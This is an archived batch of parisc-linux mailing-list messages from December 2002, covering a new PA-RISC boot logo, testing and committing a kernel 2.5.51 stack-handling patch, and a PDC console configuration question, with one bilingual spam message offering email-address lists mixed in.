X-Trace: ger.gmane.org 1416622047 18902 80.91.229.3 (22 Nov 2014 02:07:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	varenet@dsl2.external.hp.com (Thibaut Varene)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 21 02:23:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.65.60])
	by dsl2.external.hp.com (Postfix) with SMTP id 96F094831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Dec 2002 02:23:07 -0700 (MST)
Original-Received: (qmail 18549 invoked by uid 0); 21 Dec 2002 09:23:01 -0000
Original-Received: from pd904034f.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.79)
  by mail.gmx.net (mp001-rz3) with SMTP; 21 Dec 2002 09:23:01 -0000
User-Agent: KMail/1.5.9
In-Reply-To: <20021221040254.E5A8F4829@dsl2.external.hp.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17181

On Saturday 21 December 2002 05:02, Thibaut Varene wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.5
> Changes by:	varenet	02/12/20 21:02:54
>
> Modified files:
> 	include/asm-parisc: linux_logo.h
>
> Log message:
> Here is a logo _without_ the _very nice_ HP background that everybody hates
> here ;o)

Thanks a lot Thibaut !

For people interested in how the logos look(ed) like on different architectures
during time:
http://home.tvd.be/cr26864/Linux/fbdev/logo.html
Maybe we should add the PA-Penguin to the list at some point ?

> More seriously, this is the default logo (as found on i386) with a PA-RISC
> symbol tattoo'd on. See this for result:
> http://pateam.esiee.fr/archive/linux_logo-new.png
>
> If anyone has any comment/suggestion for sth nicer, please tell me.

I think the white border is somewhat too big ?!?

> BTW, I wonder about copyright mentions in the file...
> This is not actually "code", but picture. Should we mention any kind of
> copyright on it ?

No.  I'd vote for removing that (C)-info.

Helge



From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: hello <notthisemail@dd.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?gb2312?q?=C4=E3=CF=EB=D4=DA=CD=F8=C9=CF=D7=F6=B9=E3=B8=E6=C2=F0=A3=BFdo_you_have_products_to_sell_in_net=A3=BF?=
Date: Tue, 16 Nov 1999 10:43:39 +0800
Lines: 43
Approved: news@gmane.org
Message-ID: <20021222024244.1FDA24829@dsl2.external.hp.com>
Reply-To: notthisemail@dd.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="48a4f930-9c03-11d3-a98b-5254aba02fb7"
X-Trace: ger.gmane.org 1416622047 18903 80.91.229.3 (22 Nov 2014 02:07:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 21 19:42:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 40.43.37.16 (unknown [61.235.68.66])
	by dsl2.external.hp.com (Postfix) with SMTP id 1FDA24829
	for <parisc-linux@parisc-linux.org>; Sat, 21 Dec 2002 19:42:44 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17182

This is a multi-part message in MIME format
--48a4f930-9c03-11d3-a98b-5254aba02fb7
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

=C4=E3=C8=E7=B9=FB=D0=E8=D2=AA=D7=F6=B9=E3=B8=E6=A3=AC=C7=EB=C4=E3=BD=AB=C4=E3=
=CB=F9=D2=AA=D0=FB=B4=AB=B5=C4=B2=FA=C6=B7=BA=CD=B6=D4=CF=F3=B8=E6=CB=DF=CE=D2=
=A3=AC=CE=D2=BB=E1=CE=AA=C4=E3=B6=A8=D6=C6=C4=E3=CB=F9=D2=AA=B5=C4=D3=CA=D6=B7=
=A3=AC=BC=DB=B8=F1=A3=BA30=CD=F2=D3=CA=D6=B7100=D4=AA=A3=AC=CB=CD=C8=ED=BC=FE=
=D2=BB=CC=D7=A3=AC=D2=BB=C8=D5=C4=DA=BD=BB=BB=F5=A3=AC=CE=D2=B5=C4=D3=CA=CF=E4=
=D3=C3=BB=A7=C3=FB=CA=C7usa123888@yaoweb.com=BB=F2usa123268=BB=F2usa123368   =
=D3=CA=CF=E4=D2=B2=CA=C7=CA=F4=D3=DAyaoweb.com=B5=C4 
=C7=EB=C1=F4=C4=E3=B5=C4=D3=CA=CF=E4=B5=D8=D6=B7=D2=D4=B1=E3=C1=AA=CF=B5=A3=AC=
=C8=E7=B9=FB=C4=E3=B2=BB=D0=E8=D2=AA=CE=D2=BF=B4=B5=BD=CE=D2=B5=C4=B9=E3=B8=E6=
=A3=AC=C7=EB=B7=A2=D3=CA=BC=FE=B5=BD=D3=C3=BB=A7=C3=FBusa123468   @      =
yaoweb.com=D6=D0=D2=AA=C7=F3=B3=B7=B3=FD=C4=E3=B5=C4=D3=CA=CF=E4=B5=D8=D6=B7=
=A1=A3 =D4=DA=D6=F7=CC=E2=D6=D0=CC=EE=D0=B4=C4=E3=B5=C4=D3=CA=CF=E4
do you have products to sell in net ,please contact with me .i can find 
300000 emailaddress for you only 10$ ,and i will sent it with a =
emailsendersoft to you,if you need please sent a mail to me ,my email:   =
username=A3=BAusa123888@yaoweb.com or username:usa123268 or =
username:usa123368   they are yaoweb.com 
if you want to remove your emailaddress pleses sent email to =
username:usa123468    its  yaoweb.com    and full in your emaiaddress on =
subject.then i will delete it                              
=C4=E3=C8=E7=B9=FB=D0=E8=D2=AA=D7=F6=8FV=B8=E6=A3=AC=D5=88=C4=E3=8C=A2=C4=E3=
=CB=F9=D0=FB=82=F7=B5=C4=AEa=C6=B7=BA=CD =C4=E3 =CB=F9=D2=AA=B5=C4=BF=CD=91=F4=
=B8=E6=D4V=CE=D2=A3=AC=CE=D2=95=FE=B8=F9=93=FE=C4=E3=B5=C4=D0=E8=D2=AA=A3=AC=
=9E=E9=C4=E3=B6=A8=D6=C630=C8f=E0]=BC=FE=B5=D8=D6=B7=A3=AC=83r=B8=F1=A3=BA=C8=
=CB=C3=F1=8E=C5100=D4=AA=BB=F2=C3=C0=BD=F010=D4=AA=A3=AC=81K=CB=CD=C4=E3=D2=BB=
=CC=D7=F3=8C=E0]=BC=FE=B5=C4=DC=9B=BC=FE=A3=AC=CA=D7=8C=92=E1=E1=D2=BB=C8=D5=
=C4=DA=BD=BB=D8=9B=A3=AC=CE=D2=95=FE=8C=A2=E0]=BC=FE=BA=CD=DC=9B=BC=FE=B0l=B5=
=BD=C4=E3=B5=C4=E0]=CF=E4=A3=AC=D4=94=C7=E9=C7=E5=C2=93=82Susa123888      @   =
         yaoweb.com
=BB=F2=D3=C3=91=F4=C3=FB=A3=BAusa123168    usa123268   usa123368    =B5=C4=
yaoweb.com
=C8=E7=B9=FB=C4=E3=B2=BB=D0=E8=D2=AA=DF@=8FV=B8=E6=A3=AC=D5=88=B0l=E0]=BC=FE=
=B5=BD usa123468=B5=C4yaoweb.com=D2=AA=C7=F3=B3=B7=B3=FD=A1=A3=D4=DA=98=CB=EE=
}=D6=D0=8C=91=C9=CF=C4=E3=B5=C4=E0]=CF=E4=B5=D8=D6=B7=A1=A3                   =
                     
--48a4f930-9c03-11d3-a98b-5254aba02fb7--



From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Sun, 22 Dec 2002 00:11:42 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20021222071142.GA17710@dsl2.external.hp.com>
References: <randolph@tausq.org> <20021218170254.GM19331@tausq.org> <200212202212.gBKMCbv08741@localhost.localdomain> <20021220223747.GD13478@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622048 18906 80.91.229.3 (22 Nov 2014 02:07:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:28 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 22 00:11:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CDA9B4829; Sun, 22 Dec 2002 00:11:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021220223747.GD13478@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17183

On Fri, Dec 20, 2002 at 03:37:47PM -0700, Grant Grundler wrote:
> >  	STREG	%r1,0(%r30)			/* Stick r1 (usp) here for now */
> > +	ldo	16(%r30),%r30
> 
> As David observed, this wants to use ",ma" and I'll work that out with
> lamont/helge offline.
> Something will get committed to 2.4.x/2.5.x trees this afternoon.

*sigh*.  Can someone else test/commit this?

I've not been able to boot a 2.5.51 kernel on either A500-44 or C3000.
I won't commit what I can't test when others are obviously booting
2.5.51 kernels. My last attempts on A500-44 data page fault on
a NULL dereference in "$lctu_loop+8" (GR02 is sys_nanosleep+13c).
Panic seems to be after (AFAICT) all the RC scripts have run.
I'm at the end of my rope on 2.5.51.

I've placed the diff on ftp.parisc-linux.org:/patches/diff-2.5.51-pa5
The patch *looks* right and fixes a few other nits.
Should work on both PA1.1 and PA2.0 machines.
(and we have to use STREGM/LDREGM to support both variants).

thanks again and apologies for not committing it as promised.
grant



From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Sun, 22 Dec 2002 11:17:59 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <200212221117.59064.deller@gmx.de>
References: <randolph@tausq.org> <20021220223747.GD13478@dsl2.external.hp.com> <20021222071142.GA17710@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622048 18909 80.91.229.3 (22 Nov 2014 02:07:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:28 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler),
	James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 22 03:21:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.65.60])
	by dsl2.external.hp.com (Postfix) with SMTP id 8DE074829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Dec 2002 03:21:51 -0700 (MST)
Original-Received: (qmail 359 invoked by uid 0); 22 Dec 2002 10:21:45 -0000
Original-Received: from dialin-212-144-174-134.arcor-ip.net (HELO P100.helgenet.de) (212.144.174.134)
  by mail.gmx.net (mp003-rz3) with SMTP; 22 Dec 2002 10:21:45 -0000
User-Agent: KMail/1.5.9
In-Reply-To: <20021222071142.GA17710@dsl2.external.hp.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17184

On Sunday 22 December 2002 08:11, Grant Grundler wrote:
> On Fri, Dec 20, 2002 at 03:37:47PM -0700, Grant Grundler wrote:
> > >  	STREG	%r1,0(%r30)			/* Stick r1 (usp) here for now */
> > > +	ldo	16(%r30),%r30
> >
> > As David observed, this wants to use ",ma" and I'll work that out with
> > lamont/helge offline.
> > Something will get committed to 2.4.x/2.5.x trees this afternoon.
>
> *sigh*.  Can someone else test/commit this?

Seems to work without any problems on my 715/64.
I committed your changes to CVS (2.5.51-pa5).

Helge


From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Sun, 22 Dec 2002 10:35:03 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <200212221635.gBMGZ3k11207@localhost.localdomain>
References: <20021222071142.GA17710@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622048 18912 80.91.229.3 (22 Nov 2014 02:07:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 22 09:35:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D0824829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Dec 2002 09:35:14 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id IAA02821
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Dec 2002 08:35:08 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id IAA02730;
	Sun, 22 Dec 2002 08:35:05 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gBMGZ3k11207;
	Sun, 22 Dec 2002 10:35:03 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from grundler@dsl2.external.hp.com (Grant Grundler) 
   of "Sun, 22 Dec 2002 00:11:42 MST." <20021222071142.GA17710@dsl2.external.hp.com> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17185

grundler@dsl2.external.hp.com said:
> I've placed the diff on ftp.parisc-linux.org:/patches/diff-2.5.51-pa5
> The patch *looks* right and fixes a few other nits. Should work on
> both PA1.1 and PA2.0 machines. (and we have to use STREGM/LDREGM to
> support both variants). 

Boots and runs fine for me on my C360.  I'm on 2.5.52-BK latest, rather than 
2.5.51 as the base, though.  Seems to be robust to my bitkeeper tests.  I'm 
going to use this as my development machine kernel now to see if I can find 
any other problems.

James




From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 deller
Date: Mon, 23 Dec 2002 00:23:35 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20021223072335.GD19065@dsl2.external.hp.com>
References: <20021222090934.DE9654829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622048 18916 80.91.229.3 (22 Nov 2014 02:07:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 23 00:23:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 66FAB4829; Mon, 23 Dec 2002 00:23:35 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021222090934.DE9654829@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17186

On Sun, Dec 22, 2002 at 02:09:34AM -0700, Helge Deller wrote:
> I didn't applied the CONFIG_DUMMY_CONSOLE related setup.c changes, instead
> I changed Kconfig in drivers/video/console. Please test.

I made the same comment to Lamont on IRC after looking at it again.
Kconfig is a better approach.

thanks,
grant


From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.20-paxx Config problem (follow-up)
Date: Mon, 23 Dec 2002 17:34:27 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <3DED9BBD00002FDE@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622049 18919 80.91.229.3 (22 Nov 2014 02:07:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 23 09:35:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2B484829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Dec 2002 09:35:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18QVXf-0003jV-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Dec 2002 17:34:59 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 23 Dec 2002 16:34:27 +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17187

Hi all,

The problem I met with arch/parisc/32 on my b2k is due to the CONFIG_SERI=
AL_NONSTANDARD
(or a subselect ??).

Is PDC_console does not work on this model or is there a border effect li=
nk
with this selection?

Can somebody help me to fix it?

Thanks,
    Joel


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-paxx Config problem (follow-up)
Date: 23 Dec 2002 11:18:02 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <1040667483.24209.57.camel@beavis>
References: <3DED9BBD00002FDE@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622049 18921 80.91.229.3 (22 Nov 2014 02:07:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 23 11:18:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id D112D483C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Dec 2002 11:18:08 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 0A0BC2B100; Mon, 23 Dec 2002 11:18:02 -0700 (MST)
In-Reply-To: <3DED9BBD00002FDE@ocpmta7.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17188

Joel,

The PDC Console should work for this box as it is really a firmware
console.  The firmware console talks to /dev/ttyB0 instead of
/dev/ttyS0, so that might be your problem?  Also in recent kernels the
major number of /dev/ttyB0 changed from 60 to 11 so make sure the 
device file is correct.

Finally, out of curiosity, why are you trying to use the PDC console? 
The B2k should have a 16550 port (off the suckyio chip???) that should
work for you.

Thanks, and hope this helps!

- Ryan


On Mon, 2002-12-23 at 09:34, jsoe0708@tiscali.be wrote:
> Hi all,
> 
> The problem I met with arch/parisc/32 on my b2k is due to the CONFIG_SERIAL_NONSTANDARD
> (or a subselect ??).
> 
> Is PDC_console does not work on this model or is there a border effect link
> with this selection?
> 
> Can somebody help me to fix it?
> 
> Thanks,
>     Joel
> 
> 
> ********************************************
> Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation = 0 Euro http://adsl.tiscali.be
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-paxx Config problem (follow-up)
Date: Tue, 24 Dec 2002 08:27:49 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <3DED9A6600002FAC@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622049 18924 80.91.229.3 (22 Nov 2014 02:07:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:29 +0000 (UTC)
